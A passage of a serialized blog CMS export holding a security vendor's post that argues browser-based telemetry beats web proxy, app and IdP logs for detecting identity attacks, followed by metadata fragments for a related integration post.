teams to collect and analyze any meaningful data from web proxy logs. While the kind of data needed might be technically possible to extract, the process of reconstructing proxy data to analyze the specific data points that you really need, at scale, is prohibitively complicated.",{"data":189509,"content":189510,"nodeType":866},{},[189511],{"data":189512,"marks":189513,"value":189514,"nodeType":865},{},[],"The old “needle in a haystack” adage is very apt here! Rather than trying to piece together half-broken data – overlaying noisy proxy logs with other sources such as app and IdP telemetry – we think that the browser presents a much simpler way of analyzing relevant data points, particularly when it comes to identity attacks. ",{"data":189516,"content":189517,"nodeType":866},{},[189518],{"data":189519,"marks":189520,"value":189521,"nodeType":865},{},[],"Before we get on to detection opportunities in the browser, let’s take a deeper look at the web proxy situation.",{"data":189523,"content":189524,"nodeType":981},{},[189525],{"data":189526,"marks":189527,"value":189528,"nodeType":865},{},[],"Detection based on web proxy – how does it work and what are the limitations?",{"data":189530,"content":189531,"nodeType":866},{},[189532],{"data":189533,"marks":189534,"value":189535,"nodeType":865},{},[],"Web proxies generate common data points that can be used for threat detection, particularly when looking for indicators of an endpoint compromise. They work by inspecting network traffic to and from the endpoint, which includes web activity in the browser. ",{"data":189537,"content":189538,"nodeType":866},{},[189539],{"data":189540,"marks":189541,"value":189542,"nodeType":865},{},[],"The classic use case would be inspecting traffic from an endpoint to networked servers and devices, either on the local network or over the internet (e.g. via VPN), to detect signs of suspicious/malicious behavior from the device (indicating a potential compromise). Data is then shipped to a central proxy server where it can be analyzed for indicators of malicious activity. ",{"data":189544,"content":189545,"nodeType":866},{},[189546],{"data":189547,"marks":189548,"value":189549,"nodeType":865},{},[],"The traditional proxy setup has a number of limitations: ",{"data":189551,"content":189552,"nodeType":1616},{},[189553],{"data":189554,"content":189555,"nodeType":1570},{},[189556],{"data":189557,"content":189558,"nodeType":866},{},[189559,189564],{"data":189560,"marks":189561,"value":189563,"nodeType":865},{},[189562],{"type":926},"The proxy needs to be in a position to intercept traffic.",{"data":189565,"marks":189566,"value":189567,"nodeType":865},{},[]," It may only be active when a user is in the office, on a VPN and/or for external web traffic only. It might not work if a user is on their home or other other Wi-Fi – e.g. when working from Starbucks, or visiting a customer site, which isn’t an ideal setup in the era of remote working.  ",{"data":189569,"content":189570,"nodeType":1616},{},[189571],{"data":189572,"content":189573,"nodeType":1570},{},[189574],{"data":189575,"content":189576,"nodeType":866},{},[189577,189582],{"data":189578,"marks":189579,"value":189581,"nodeType":865},{},[189580],{"type":926},"Most web traffic is protected by TLS – so a proxy has to decrypt this to inspect what’s inside.",{"data":189583,"marks":189584,"value":189585,"nodeType":865},{},[]," At the very least you’re going to need to deploy a CA cert to every endpoint. But, some websites use things like certificate pinning or other SSL-enforcement controls to straight up prevent this. Unless you’re doing TLS-termination at scale with a COTS solution, then the ability to do proxy-based monitoring is seriously limited. ",{"data":189587,"content":189588,"nodeType":1317},{},[189589],{"data":189590,"marks":189591,"value":189592,"nodeType":865},{},[],"Proxies under the hood",{"data":189594,"content":189595,"nodeType":866},{},[189596],{"data":189597,"marks":189598,"value":189599,"nodeType":865},{},[],"Let’s pop the hood and take a look at the data you can collect using a web proxy that is useful for threat detection. ",{"data":189601,"content":189602,"nodeType":866},{},[189603,189607,189615],{"data":189604,"marks":189605,"value":189606,"nodeType":865},{},[],"Typically, you’re looking at data points such as domain names or IP addresses. If the proxy is terminating TLS, you might also have web URLs, the type of web content accessed, and other HTTP-level metadata. Higher level data like file uploads/downloads can sometimes be reconstructed when using very vanilla methods. More advanced proxies might run or open downloaded files in a sandbox for dynamic analysis to identify potentially malicious properties, which has ",{"data":189608,"content":189609,"nodeType":889},{"uri":182628},[189610],{"data":189611,"marks":189612,"value":189614,"nodeType":865},{},[189613],{"type":943},"given rise to techniques like HTML smuggling",{"data":189616,"marks":189617,"value":189618,"nodeType":865},{},[]," to hide these file downloads from advanced proxies. ",{"data":189620,"content":189621,"nodeType":866},{},[189622],{"data":189623,"marks":189624,"value":189625,"nodeType":865},{},[],"In practice this means that you might see that an endpoint at IP address X accessed google.com. If it’s an authenticated proxy, you might see the user of the endpoint as well. Using this data, it’s possible to see which endpoint’s owner accessed the web domain, but not the identity/account they used, or whether they actually logged in at all. So for the majority of in-house proxy setups not doing TLS-termination… that’s it. Even then, without decrypting TLS you can’t be sure you’re seeing the actual/final domain because of technologies like domain fronting that are commonly implemented in modern CDNs. ",{"data":189627,"content":189628,"nodeType":866},{},[189629,189633],{"data":189630,"marks":189631,"value":189632,"nodeType":865},{},[],"With TLS termination, it’s possible to see a lot more by inspecting/unpacking the HTTP data. At this point there are two possible approaches: Manual analysis after the fact, or automated analysis on the fly. ",{"data":189634,"marks":189635,"value":189637,"nodeType":865},{},[189636],{"type":926},"Unfortunately, there are problems with both options. ",{"data":189639,"content":189640,"nodeType":1616},{},[189641,189661],{"data":189642,"content":189643,"nodeType":1570},{},[189644],{"data":189645,"content":189646,"nodeType":866},{},[189647,189652,189656],{"data":189648,"marks":189649,"value":189651,"nodeType":865},{},[189650],{"type":926},"There is too much HTTP data to store and manually analyze everything:",{"data":189653,"marks":189654,"value":189655,"nodeType":865},{},[]," Usually, organizations limit the data being stored to specific metadata as opposed to trying to store everything (terabytes of data per day), which would be impossibly expensive to store (and also to build the server infrastructure required to index and search it – effectively a mini-datacenter). ",{"data":189657,"marks":189658,"value":189660,"nodeType":865},{},[189659],{"type":898},"Not to mention that storing detailed HTTP body data presents a significant security risk, as it includes valid session tokens/cookies for all your identities…  ",{"data":189662,"content":189663,"nodeType":1570},{},[189664],{"data":189665,"content":189666,"nodeType":866},{},[189667,189672,189676],{"data":189668,"marks":189669,"value":189671,"nodeType":865},{},[189670],{"type":926},"Each web app is custom, making automated analysis (virtually) impossible:",{"data":189673,"marks":189674,"value":189675,"nodeType":865},{},[]," Proxy-based solutions have to reconstruct the data after TLS encryption. HTTP data is usually stored in large application JSON/XML objects or even in totally custom encoding – per each app. This means that complex, custom code is required per each app to be able to perform automated analysis. When businesses today are using hundreds of apps on average, ",{"data":189677,"marks":189678,"value":189680,"nodeType":865},{},[189679],{"type":926},"automating this process is not feasible as it requires constant reverse engineering of every web app. ",{"data":189682,"content":189683,"nodeType":866},{},[189684],{"data":189685,"marks":189686,"value":189687,"nodeType":865},{},[],"So what does this mean? Well, even organizations with a TLS-terminating proxy are limited to manual analysis of select metadata after-the-fact, which massively reduces its utility. You could sink a day or more’s analysis into gathering a small amount of useful data, for example whether a URL was accessed, but not necessarily which device/user, or what account/creds were used to log in). This means you’re probably going to use proxy data to aid in the investigation of a known incident rather than anything proactive. ",{"data":189689,"content":189690,"nodeType":866},{},[189691,189696,189702],{"data":189692,"marks":189693,"value":189695,"nodeType":865},{},[189694],{"type":926},"It might be ",{"data":189697,"marks":189698,"value":189701,"nodeType":865},{},[189699,189700],{"type":898},{"type":926},"theoretically",{"data":189703,"marks":189704,"value":189706,"nodeType":865},{},[189705],{"type":926}," possible to sift through decrypted HTTP data to identify and correlate identities and actions, effectively reconstructing web pages from the network traffic automatically and on the fly (in the same way that it’s theoretically possible to remove my head and transplant it onto your body), but is it practical or reasonable for most organizations to do this? No. ",{"data":189708,"content":189709,"nodeType":981},{},[189710],{"data":189711,"marks":189712,"value":189714,"nodeType":865},{},[189713],{"type":926},"Browser data: a better alternative?",{"data":189716,"content":189717,"nodeType":866},{},[189718],{"data":189719,"marks":189720,"value":189721,"nodeType":865},{},[],"One way of overcoming some of the limitations of the classic web proxy setup is to use a browser-based solution. It’s much easier to collect data at the browser level before it’s encrypted. ",{"data":189723,"content":189724,"nodeType":866},{},[189725],{"data":189726,"marks":189727,"value":189728,"nodeType":865},{},[],"A browser agent isn’t just a proxy for pre-TLS HTML data, though. In the browser, you’re able to dynamically interact with the DOM or the rendered web application, including its JS code. This makes it easy to find, for example, input fields for usernames and passwords. You can see what information the user is inputting and where, without needing to figure out how the data is encoded and sent back to the app. These are fairly generic fields that can be identified across your suite of apps without needing complex custom code. To put it in perspective, approximately 10 login cases cover the entirety of the SaaS apps we support (~1000). Using a proxy-based solution, each of these would require custom development.   ",{"data":189730,"content":189731,"nodeType":866},{},[189732],{"data":189733,"marks":189734,"value":189735,"nodeType":865},{},[],"While it's technically possible to keep track of multiple sessions for thousands of users across hundreds of apps via proxy, it’s no mean feat – made much easier when each extension is tracking one user, in one browser, and even knows the browser tab it’s running in. You also get additional context at the identity layer such as the email address, authentication protocol, and credentials used, neatly mapped to that specific user and browser profile – no more trying to link the owner of an IP address to log events!",{"data":189737,"content":189738,"nodeType":866},{},[189739],{"data":189740,"marks":189741,"value":189742,"nodeType":865},{},[],"The browser also has the added benefit of being a natural enforcement point. You can collect and analyze data dynamically, and produce an immediate response – rather than taking info away, analyzing it, and coming back with a detection minutes or hours later (and potentially prompting a manual response). ",{"data":189744,"content":189745,"nodeType":866},{},[189746],{"data":189747,"marks":189748,"value":189749,"nodeType":865},{},[],"Let’s look at a couple of examples based on how we’re using our browser agent to detect and block identity attacks. ",{"data":189751,"content":189752,"nodeType":1616},{},[189753,189774,189794],{"data":189754,"content":189755,"nodeType":1570},{},[189756],{"data":189757,"content":189758,"nodeType":866},{},[189759,189762,189770],{"data":189760,"marks":189761,"value":21,"nodeType":865},{},[],{"data":189763,"content":189764,"nodeType":889},{"uri":67859},[189765],{"data":189766,"marks":189767,"value":189769,"nodeType":865},{},[189768],{"type":943},"Pinning passwords to the legitimate site they are linked with",{"data":189771,"marks":189772,"value":189773,"nodeType":865},{},[],". This is made possible by interacting with the DOM to observe passwords being entered – enabling the Push agent to intercept and block before an HTTP network request can even be made. ",{"data":189775,"content":189776,"nodeType":1570},{},[189777],{"data":189778,"content":189779,"nodeType":866},{},[189780,189783,189790],{"data":189781,"marks":189782,"value":21,"nodeType":865},{},[],{"data":189784,"content":189785,"nodeType":889},{"uri":131844},[189786],{"data":189787,"marks":189788,"value":189789,"nodeType":865},{},[],"Detecting and blocking malicious phishing tools",{"data":189791,"marks":189792,"value":189793,"nodeType":865},{},[]," running on websites by observing behavioral attributes in the browser, such as Javascript calls being made or data structures saved to local storage.",{"data":189795,"content":189796,"nodeType":1570},{},[189797],{"data":189798,"content":189799,"nodeType":866},{},[189800,189803,189811],{"data":189801,"marks":189802,"value":21,"nodeType":865},{},[],{"data":189804,"content":189806,"nodeType":889},{"uri":189805},"https://pushsecurity.com/blog/manage-third-party-data-access/",[189807],{"data":189808,"marks":189809,"value":189810,"nodeType":865},{},[],"Observing users signing up to and using risky apps",{"data":189812,"marks":189813,"value":189814,"nodeType":865},{},[],", or changing or removing authentication methods, MFA methods, and configuration methods, which could indicate account takeover. ",{"data":189816,"content":189817,"nodeType":866},{},[189818],{"data":189819,"marks":189820,"value":189821,"nodeType":865},{},[],"It’s always useful to refer back to the concept of the Pyramid of Pain in these situations. The opportunities to detect and block in the browser tend to align with indicators at the apex of the pyramid, meaning they are a significant obstruction for attackers – and difficult to circumvent. This contrasts the indicators aligned with proxy-based solutions, which are much easier to bypass through, for example, IP masking using residential proxy networks, or changing the domains and URLs used for phishing campaigns.  ",{"data":189823,"content":189826,"nodeType":912},{"target":189824},{"sys":189825},{"id":167791,"type":909,"linkType":910},[],{"data":189828,"content":189829,"nodeType":866},{},[189830],{"data":189831,"marks":189832,"value":189833,"nodeType":865},{},[],"In summary: Browser data provides high-fidelity indicators of malicious activity, without the complications of proxy-based approaches. The scope for response in the browser is significant and immediate, meaning it’s a great enforcement point for security controls to be able to disrupt attacks. ",{"data":189835,"content":189836,"nodeType":981},{},[189837],{"data":189838,"marks":189839,"value":189840,"nodeType":865},{},[],"Won’t my app and IdP logs cover this?",{"data":189842,"content":189843,"nodeType":866},{},[189844],{"data":189845,"marks":189846,"value":189847,"nodeType":865},{},[],"App and IdP logs are useful (when you can get them), but neither give you the full picture. ",{"data":189849,"content":189850,"nodeType":1317},{},[189851],{"data":189852,"marks":189853,"value":189854,"nodeType":865},{},[],"App logs are limited in availability, scope, and ease of ingestion ",{"data":189856,"content":189857,"nodeType":866},{},[189858,189862,189870],{"data":189859,"marks":189860,"value":189861,"nodeType":865},{},[],"When relying on app logs, you’re naturally constrained by the app provider. Many smaller apps provide no security logging, while others ",{"data":189863,"content":189864,"nodeType":889},{"uri":147665},[189865],{"data":189866,"marks":189867,"value":189869,"nodeType":865},{},[189868],{"type":943},"lock security logging behind the premium tier subscription",{"data":189871,"marks":189872,"value":189873,"nodeType":865},{},[],". When logs are available, you’re limited to the events that the third-party deems suitable to log. ",{"data":189875,"content":189876,"nodeType":866},{},[189877],{"data":189878,"marks":189879,"value":189880,"nodeType":865},{},[],"Out of the 100 most popular apps we see across our customers, and perhaps the few dozen or so that are security critical, only a small handful provide any useful logging. This means, naturally, that the majority of apps do not. ",{"data":189882,"content":189883,"nodeType":866},{},[189884],{"data":189885,"marks":189886,"value":189887,"nodeType":865},{},[],"To top it all off, the process of extracting these logs and feeding them into your SIEM (or equivalent) is also not straightforward. The lack of out-of-the-box connectors for many apps means that complex custom architectures are required for collecting data. Some vendors place constraints on the format and mechanism for extracting logs which can make ingestion difficult to feed reliable detections – even before any meaningful analysis of the data can take place. ",{"data":189889,"content":189890,"nodeType":866},{},[189891],{"data":189892,"marks":189893,"value":189894,"nodeType":865},{},[],"Until application security logs are made widely available (and at no additional cost) it’s unlikely you’re going to be able to get the visibility you need from app logs, for every app your employees use (though of course there are exceptions – and we hope to see more vendors in future treating security as a minimum requirement, not a chargeable addon). ",{"data":189896,"content":189897,"nodeType":1317},{},[189898],{"data":189899,"marks":189900,"value":189901,"nodeType":865},{},[],"IdP logs cover only SSO integrated apps and are limited in scope",{"data":189903,"content":189904,"nodeType":866},{},[189905],{"data":189906,"marks":189907,"value":189908,"nodeType":865},{},[],"You might think, “but all of our business apps are behind SSO, right?” In reality, only about 1 in 3 apps support SSO (and even fewer at the ‘free’ tier). And in practice, our data shows us that only 1 in 5 apps on average are actually behind SSO per organization. The theoretical security benefit of IdP logs is that they provide context, a foundation for the user’s activity across (and between) a suite of apps. But because of the lack of coverage, this isn’t the case. ",{"data":189910,"content":189911,"nodeType":866},{},[189912],{"data":189913,"marks":189914,"value":189915,"nodeType":865},{},[],"IdP logs are naturally focused on authentication, and so don’t compensate for any gaps in app logging. Naturally, they are only able to observe what happens on the IdP side – and so are blind to client side attacks like phishing (which we’ve already shown the browser provides superior visibility of compared to typical alternatives like proxy logs).   ",{"data":189917,"content":189918,"nodeType":1317},{},[189919],{"data":189920,"marks":189921,"value":189922,"nodeType":865},{},[],"Browser is best for stopping identity attacks",{"data":189924,"content":189925,"nodeType":866},{},[189926],{"data":189927,"marks":189928,"value":189929,"nodeType":865},{},[],"This is where the browser comes in. Think of your browser as your source of truth, a broad data baseline for user activity where the browser provides complete context of the browser profile, employee, accounts, credentials, auth methods, and MFA types – as well as employee interaction with web sites.",{"data":189931,"content":189932,"nodeType":866},{},[189933],{"data":189934,"marks":189935,"value":189936,"nodeType":865},{},[],"The TL;DR is that your visibility in the browser is theoretically limitless. Every page loaded (and its source, javascript state, local storage), every user interaction can be observed. And best of all, this analysis is done securely in the browser and only the results of detections are reported back, rather than decrypting the entire raw traffic stream including all session data in an additional centralized system. ",{"data":189938,"content":189941,"nodeType":912},{"target":189939},{"sys":189940},{"id":182822,"type":909,"linkType":910},[],{"data":189943,"content":189944,"nodeType":981},{},[189945],{"data":189946,"marks":189947,"value":57175,"nodeType":865},{},[],{"data":189949,"content":189950,"nodeType":866},{},[189951],{"data":189952,"marks":189953,"value":189954,"nodeType":865},{},[],"As an industry, we need to start looking at browser-based detection and response as the next logical evolution to stop identity attacks. There are clear parallels with the emergence of EDR – which came about because existing endpoint log sources were not sufficient. Today, we wouldn’t dream of trying to detect and respond to endpoint-based attacks without EDR – it’s time we started thinking about cloud identity attacks and the browser in the same way.  ","The web proxy is dead… long live the browser extension!","Right now the majority of detections for identity attacks rely on web proxy telemetry. Here’s why the browser can be a better alternative.","2024-06-11T00:00:00.000Z","the-web-proxy-is-dead-long-live-the-browser-extension",{"items":189960},[189961,189963],{"sys":189962,"name":342},{"id":4642},{"sys":189964,"name":7796},{"id":7795},{"items":189966},[189967],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":189968},{"url":7804},"blog/introducing-set-and-forget-controls-that-stop-real-world-identity-attacks",{"json":189971},{"data":189972,"content":189973,"nodeType":1382},{},[189974],{"data":189975,"content":189976,"nodeType":866},{},[189977],{"data":189978,"marks":189979,"value":189980,"nodeType":865},{},[],"Enable plug-and-play detections and interventions in the browser using Push’s new security controls, or create your own automations from unique browser telemetry provided via API and webhooks.",{"id":171047,"publishedAt":189982},"2026-08-12T11:55:14.786Z",{"items":189984},[189985,189987],{"sys":189986,"name":126984},{"id":126983},{"sys":189988,"name":342},{"id":4642},{"items":189990},[189991,189993,189995,189997,189999,190001,190003,190005,190007,190009,190011,190013],{"sys":189992,"name":342,"slug":343,"tier":31},{"id":339},{"sys":189994,"name":297,"slug":298,"tier":31},{"id":294},{"sys":189996,"name":519,"slug":520,"tier":31},{"id":516},{"sys":189998,"name":413,"slug":414,"tier":31},{"id":410},{"sys":190000,"name":279,"slug":280,"tier":31},{"id":276},{"sys":190002,"name":261,"slug":262,"tier":45},{"id":258},{"sys":190004,"name":571,"slug":572,"tier":45},{"id":568},{"sys":190006,"name":324,"slug":325,"tier":45},{"id":321},{"sys":190008,"name":404,"slug":405,"tier":45},{"id":401},{"sys":190010,"name":589,"slug":590,"tier":45},{"id":586},{"sys":190012,"name":598,"slug":599,"tier":45},{"id":595},{"sys":190014,"name":351,"slug":352,"tier":45},{"id":348},"sWazNK-OBgQFJfoNwiyoRe6RQoN8uSbnv0t9uSXVEvE",{"id":190017,"title":126973,"authorsCollection":190018,"content":190022,"extension":228,"faqItemsCollection":190391,"faqTitle":59,"featured":6,"hashTags":59,"meta":190393,"metaTitle":190394,"ogImage":59,"postType":126573,"publishedDate":126975,"relatedBlogPostsCollection":190395,"slug":126976,"stem":191256,"subtitle":59,"summary":191257,"synopsis":126974,"sys":191268,"tagsCollection":191270,"topicsCollection":191276,"__hash__":191296},"blog/blog/combining-the-powers-of-push-and-panther-to-stop-identity-attacks.json",{"items":190019},[190020],{"fullName":6500,"firstName":6501,"jobTitle":4616,"socialLinks":59,"profilePicture":190021},{"url":6503},{"json":190023,"links":190356},{"data":190024,"content":190025,"nodeType":1382},{},[190026,190032,190038,190080,190086,190092,190098,190103,190118,190124,190142,190148,190154,190172,190177,190207,190213,190219,190224,190230,190236,190242,190248,190254,190320,190326,190341],{"data":190027,"content":190028,"nodeType":866},{},[190029],{"data":190030,"marks":190031,"value":126590,"nodeType":865},{},[],{"data":190033,"content":190034,"nodeType":866},{},[190035],{"data":190036,"marks":190037,"value":126597,"nodeType":865},{},[],{"data":190039,"content":190040,"nodeType":1616},{},[190041,190054,190067],{"data":190042,"content":190043,"nodeType":1570},{},[190044],{"data":190045,"content":190046,"nodeType":866},{},[190047,190051],{"data":190048,"marks":190049,"value":126611,"nodeType":865},{},[190050],{"type":926},{"data":190052,"marks":190053,"value":126615,"nodeType":865},{},[],{"data":190055,"content":190056,"nodeType":1570},{},[190057],{"data":190058,"content":190059,"nodeType":866},{},[190060,190064],{"data":190061,"marks":190062,"value":126626,"nodeType":865},{},[190063],{"type":926},{"data":190065,"marks":190066,"value":126630,"nodeType":865},{},[],{"data":190068,"content":190069,"nodeType":1570},{},[190070],{"data":190071,"content":190072,"nodeType":866},{},[190073,190077],{"data":190074,"marks":190075,"value":126641,"nodeType":865},{},[190076],{"type":926},{"data":190078,"marks":190079,"value":126645,"nodeType":865},{},[],{"data":190081,"content":190082,"nodeType":866},{},[190083],{"data":190084,"marks":190085,"value":126652,"nodeType":865},{},[],{"data":190087,"content":190088,"nodeType":866},{},[190089],{"data":190090,"marks":190091,"value":126659,"nodeType":865},{},[],{"data":190093,"content":190094,"nodeType":866},{},[190095],{"data":190096,"marks":190097,"value":126666,"nodeType":865},{},[],{"data":190099,"content":190102,"nodeType":912},{"target":190100},{"sys":190101},{"id":126671,"type":909,"linkType":910},[],{"data":190104,"content":190105,"nodeType":866},{},[190106,190109,190115],{"data":190107,"marks":190108,"value":126679,"nodeType":865},{},[],{"data":190110,"content":190111,"nodeType":889},{"uri":126682},[190112],{"data":190113,"marks":190114,"value":126687,"nodeType":865},{},[],{"data":190116,"marks":190117,"value":126691,"nodeType":865},{},[],{"data":190119,"content":190120,"nodeType":981},{},[190121],{"data":190122,"marks":190123,"value":126698,"nodeType":865},{},[],{"data":190125,"content":190126,"nodeType":866},{},[190127,190130,190139],{"data":190128,"marks":190129,"value":126705,"nodeType":865},{},[],{"data":190131,"content":190134,"nodeType":33606},{"target":190132},{"sys":190133},{"id":126710,"type":909,"linkType":910},[190135],{"data":190136,"marks":190137,"value":126716,"nodeType":865},{},[190138],{"type":926},{"data":190140,"marks":190141,"value":126720,"nodeType":865},{},[],{"data":190143,"content":190144,"nodeType":866},{},[190145],{"data":190146,"marks":190147,"value":126727,"nodeType":865},{},[],{"data":190149,"content":190150,"nodeType":866},{},[190151],{"data":190152,"marks":190153,"value":126734,"nodeType":865},{},[],{"data":190155,"content":190156,"nodeType":866},{},[190157,190160,190169],{"data":190158,"marks":190159,"value":126741,"nodeType":865},{},[],{"data":190161,"content":190164,"nodeType":33606},{"target":190162},{"sys":190163},{"id":126746,"type":909,"linkType":910},[190165],{"data":190166,"marks":190167,"value":126752,"nodeType":865},{},[190168],{"type":926},{"data":190170,"marks":190171,"value":126756,"nodeType":865},{},[],{"data":190173,"content":190176,"nodeType":912},{"target":190174},{"sys":190175},{"id":126761,"type":909,"linkType":910},[],{"data":190178,"content":190179,"nodeType":866},{},[190180,190183,190190,190193,190197,190200,190204],{"data":190181,"marks":190182,"value":126769,"nodeType":865},{},[],{"data":190184,"content":190185,"nodeType":889},{"uri":126772},[190186],{"data":190187,"marks":190188,"value":126778,"nodeType":865},{},[190189],{"type":926},{"data":190191,"marks":190192,"value":126782,"nodeType":865},{},[],{"data":190194,"marks":190195,"value":125754,"nodeType":865},{},[190196],{"type":898},{"data":190198,"marks":190199,"value":126790,"nodeType":865},{},[],{"data":190201,"marks":190202,"value":126795,"nodeType":865},{},[190203],{"type":898},{"data":190205,"marks":190206,"value":126799,"nodeType":865},{},[],{"data":190208,"content":190209,"nodeType":866},{},[190210],{"data":190211,"marks":190212,"value":126806,"nodeType":865},{},[],{"data":190214,"content":190215,"nodeType":866},{},[190216],{"data":190217,"marks":190218,"value":126813,"nodeType":865},{},[],{"data":190220,"content":190223,"nodeType":912},{"target":190221},{"sys":190222},{"id":126818,"type":909,"linkType":910},[],{"data":190225,"content":190226,"nodeType":866},{},[190227],{"data":190228,"marks":190229,"value":126826,"nodeType":865},{},[],{"data":190231,"content":190232,"nodeType":866},{},[190233],{"data":190234,"marks":190235,"value":126833,"nodeType":865},{},[],{"data":190237,"content":190238,"nodeType":981},{},[190239],{"data":190240,"marks":190241,"value":126840,"nodeType":865},{},[],{"data":190243,"content":190244,"nodeType":866},{},[190245],{"data":190246,"marks":190247,"value":126847,"nodeType":865},{},[],{"data":190249,"content":190250,"nodeType":866},{},[190251],{"data":190252,"marks":190253,"value":126854,"nodeType":865},{},[],{"data":190255,"content":190256,"nodeType":1616},{},[190257,190281,190294,190307],{"data":190258,"content":190259,"nodeType":1570},{},[190260],{"data":190261,"content":190262,"nodeType":866},{},[190263,190267,190270,190278],{"data":190264,"marks":190265,"value":126868,"nodeType":865},{},[190266],{"type":926},{"data":190268,"marks":190269,"value":126872,"nodeType":865},{},[],{"data":190271,"content":190274,"nodeType":33606},{"target":190272},{"sys":190273},{"id":126877,"type":909,"linkType":910},[190275],{"data":190276,"marks":190277,"value":126882,"nodeType":865},{},[],{"data":190279,"marks":190280,"value":126886,"nodeType":865},{},[],{"data":190282,"content":190283,"nodeType":1570},{},[190284],{"data":190285,"content":190286,"nodeType":866},{},[190287,190291],{"data":190288,"marks":190289,"value":126897,"nodeType":865},{},[190290],{"type":926},{"data":190292,"marks":190293,"value":126901,"nodeType":865},{},[],{"data":190295,"content":190296,"nodeType":1570},{},[190297],{"data":190298,"content":190299,"nodeType":866},{},[190300,190304],{"data":190301,"marks":190302,"value":126912,"nodeType":865},{},[190303],{"type":926},{"data":190305,"marks":190306,"value":126916,"nodeType":865},{},[],{"data":190308,"content":190309,"nodeType":1570},{},[190310],{"data":190311,"content":190312,"nodeType":866},{},[190313,190317],{"data":190314,"marks":190315,"value":126927,"nodeType":865},{},[190316],{"type":926},{"data":190318,"marks":190319,"value":126931,"nodeType":865},{},[],{"data":190321,"content":190322,"nodeType":981},{},[190323],{"data":190324,"marks":190325,"value":113824,"nodeType":865},{},[],{"data":190327,"content":190328,"nodeType":866},{},[190329,190332,190338],{"data":190330,"marks":190331,"value":126944,"nodeType":865},{},[],{"data":190333,"content":190334,"nodeType":889},{"uri":126947},[190335],{"data":190336,"marks":190337,"value":14066,"nodeType":865},{},[],{"data":190339,"marks":190340,"value":126955,"nodeType":865},{},[],{"data":190342,"content":190343,"nodeType":866},{},[190344,190347,190353],{"data":190345,"marks":190346,"value":126962,"nodeType":865},{},[],{"data":190348,"content":190349,"nodeType":889},{"uri":126682},[190350],{"data":190351,"marks":190352,"value":126969,"nodeType":865},{},[],{"data":190354,"marks":190355,"value":1615,"nodeType":865},{},[],{"entries":190357},{"inline":190358,"hyperlink":190359,"block":190368},[],[190360,190362,190364],{"sys":190361,"__typename":1429,"title":180693,"slug":180695},{"id":126710},{"sys":190363,"__typename":87613,"title":188156,"slug":188157,"articleId":188158},{"id":126746},{"sys":190365,"__typename":1429,"title":190366,"slug":190367},{"id":126877},"Introducing AitM phishing toolkit detection, powered by the Push browser agent","introducing-aitm-phishing-toolkit-detection-powered-by-the-push-browser",[190369,190377,190383],{"sys":190370,"__typename":1390,"title":190371,"caption":190372,"layoutMode":59,"file":190373},{"id":126671},"Panther configuration screen for Push custom log types","Panther configuration for Push custom log types",{"url":190374,"width":190375,"height":190376},"https://images.ctfassets.net/y1cdw1ablpvd/2s4cvkCHZI0019FNQbHARA/125a9e84b1b3e062b705d34347688098/panther_push_integration_slideout.png",2558,1327,{"sys":190378,"__typename":1390,"title":190379,"caption":190380,"layoutMode":59,"file":190381},{"id":126761},"Illustration of detected session activity showing the missing Push marker","Illustration of detected session activity showing the missing Push marker.",{"url":190382,"width":55424,"height":129363},"https://images.ctfassets.net/y1cdw1ablpvd/7CDurJgGW12KszlFzOr68K/482d37d80bc5f76ba70e6b8d3161e9bd/image1.png",{"sys":190384,"__typename":131392,"title":190385,"youTubeUrl":190386,"imagePlaceholder":190387},{"id":126818},"Push-Panther session theft detection demo","https://www.youtube.com/watch?v=8JNoQ4EhDXA",{"url":190388,"width":190389,"height":190390},"https://images.ctfassets.net/y1cdw1ablpvd/1eUEWHLBJD3ZVTyfbLUJLm/48965fb21cdaabfdb738217ee5b548b7/push-panther-title-card.png",1116,573,{"items":190392},[],{},"Integrate Push Security and Panther",{"items":190396},[190397,190834],{"__typename":1429,"sys":190398,"content":190399,"title":180693,"synopsis":180694,"hashTags":59,"publishedDate":126975,"slug":180695,"tagsCollection":190824,"authorsCollection":190830},{"id":126710},{"json":190400},{"data":190401,"content":190402,"nodeType":1382},{},[190403,190408,190414,190444,190450,190466,190472,190508,190514,190520,190526,190531,190537,190615,190621,190627,190648,190654,190660,190666,190672,190678,190684,190728,190734,190739,190755,190760,190766,190772,190778,190784,190790,190796,190802,190808],{"data":190404,"content":190407,"nodeType":912},{"target":190405},{"sys":190406},{"id":180218,"type":909,"linkType":910},[],{"data":190409,"content":190410,"nodeType":866},{},[190411],{"data":190412,"marks":190413,"value":180226,"nodeType":865},{},[],{"data":190415,"content":190416,"nodeType":1616},{},[190417,190426,190435],{"data":190418,"content":190419,"nodeType":1570},{},[190420],{"data":190421,"content":190422,"nodeType":866},{},[190423],{"data":190424,"marks":190425,"value":180239,"nodeType":865},{},[],{"data":190427,"content":190428,"nodeType":1570},{},[190429],{"data":190430,"content":190431,"nodeType":866},{},[190432],{"data":190433,"marks":190434,"value":180249,"nodeType":865},{},[],{"data":190436,"content":190437,"nodeType":1570},{},[190438],{"data":190439,"content":190440,"nodeType":866},{},[190441],{"data":190442,"marks":190443,"value":180259,"nodeType":865},{},[],{"data":190445,"content":190446,"nodeType":866},{},[190447],{"data":190448,"marks":190449,"value":180266,"nodeType":865},{},[],{"data":190451,"content":190452,"nodeType":866},{},[190453,190456,190463],{"data":190454,"marks":190455,"value":180273,"nodeType":865},{},[],{"data":190457,"content":190458,"nodeType":889},{"uri":180276},[190459],{"data":190460,"marks":190461,"value":132143,"nodeType":865},{},[190462],{"type":943},{"data":190464,"marks":190465,"value":180285,"nodeType":865},{},[],{"data":190467,"content":190468,"nodeType":981},{},[190469],{"data":190470,"marks":190471,"value":180292,"nodeType":865},{},[],{"data":190473,"content":190474,"nodeType":866},{},[190475,190478,190485,190488,190495,190498,190505],{"data":190476,"marks":190477,"value":180299,"nodeType":865},{},[],{"data":190479,"content":190480,"nodeType":889},{"uri":180302},[190481],{"data":190482,"marks":190483,"value":180308,"nodeType":865},{},[190484],{"type":943},{"data":190486,"marks":190487,"value":180312,"nodeType":865},{},[],{"data":190489,"content":190490,"nodeType":889},{"uri":180315},[190491],{"data":190492,"marks":190493,"value":180321,"nodeType":865},{},[190494],{"type":943},{"data":190496,"marks":190497,"value":180325,"nodeType":865},{},[],{"data":190499,"content":190500,"nodeType":889},{"uri":180328},[190501],{"data":190502,"marks":190503,"value":180334,"nodeType":865},{},[190504],{"type":943},{"data":190506,"marks":190507,"value":180338,"nodeType":865},{},[],{"data":190509,"content":190510,"nodeType":866},{},[190511],{"data":190512,"marks":190513,"value":180345,"nodeType":865},{},[],{"data":190515,"content":190516,"nodeType":866},{},[190517],{"data":190518,"marks":190519,"value":180352